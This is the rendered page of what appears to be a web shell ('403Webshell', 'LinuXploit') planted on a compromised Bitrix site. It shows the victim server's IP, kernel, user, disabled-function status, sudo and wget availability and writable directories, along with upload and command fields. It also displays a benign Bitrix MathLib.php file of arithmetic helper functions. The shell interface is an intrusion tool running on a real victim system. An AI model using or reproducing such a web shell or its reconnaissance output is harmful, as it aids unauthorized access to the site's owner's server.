403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/Calc/Libs/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/Calc/Libs/MathLib.php
<?php

namespace Bitrix\Bizproc\Calc\Libs;

use Bitrix\Bizproc\Calc\Arguments;
use Bitrix\Main\Localization\Loc;

class MathLib extends BaseLib
{
	public function getFunctions(): array
	{
		return [
			'abs' => [
				'args' => true,
				'func' => 'callAbs',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_ABS_DESCRIPTION'),
			],
			'intval' => [
				'args' => true,
				'func' => 'callIntval',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_INTVAL_DESCRIPTION'),
			],
			'floatval' => [
				'args' => true,
				'func' => 'callFloatval',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_FLOATVAL_DESCRIPTION'),
			],
			'min' => [
				'args' => true,
				'func' => 'callMin',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_MIN_DESCRIPTION'),
			],
			'max' => [
				'args' => true,
				'func' => 'callMax',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_MAX_DESCRIPTION'),
			],
			'rand' => [
				'args' => true,
				'func' => 'callRand',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_RAND_DESCRIPTION'),
			],
			'round' => [
				'args' => true,
				'func' => 'callRound',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_ROUND_DESCRIPTION'),
			],
			'ceil' => [
				'args' => true,
				'func' => 'callCeil',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_CEIL_DESCRIPTION'),
			],
			'floor' => [
				'args' => true,
				'func' => 'callFloor',
				'description' => Loc::getMessage('BIZPROC_CALC_FUNCTION_FLOOR_DESCRIPTION'),
			],
		];
	}

	public function callAbs(Arguments $args)
	{
		return abs((float)$args->getFirstSingle());
	}

	public function callRound(Arguments $args)
	{
		$val = (float)$args->getFirstSingle();
		$precision = (int)$args->getSecond();

		return round($val, $precision);
	}

	public function callCeil(Arguments $args)
	{
		return ceil((double)$args->getFirstSingle());
	}

	public function callFloor(Arguments $args)
	{
		return floor((double)$args->getFirstSingle());
	}

	public function callMin(Arguments $args)
	{
		$array = array_filter($args->getFlatArray(), static fn($item) => is_scalar($item));

		return $array ? min($array) : false;
	}

	public function callMax(Arguments $args)
	{
		$array = array_filter($args->getFlatArray(), static fn($item) => is_scalar($item));

		return $array ? max($array) : false;
	}

	public function callRand(Arguments $args)
	{
		$min = (int)$args->getFirstSingle();
		$max = (int)$args->getSecondSingle();

		if (!$max || !is_finite($max))
		{
			$max = mt_getrandmax();
		}

		if ($min > $max)
		{
			//$args->getParser()->setError('rand(): Argument #2 ($max) must be greater than or equal to argument #1 ($min)');

			return null;
		}

		return mt_rand($min, $max);
	}

	public function callIntval(Arguments $args)
	{
		return (int)$args->getFirstSingle();
	}

	public function callFloatval(Arguments $args)
	{
		return (float)$args->getFirstSingle();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit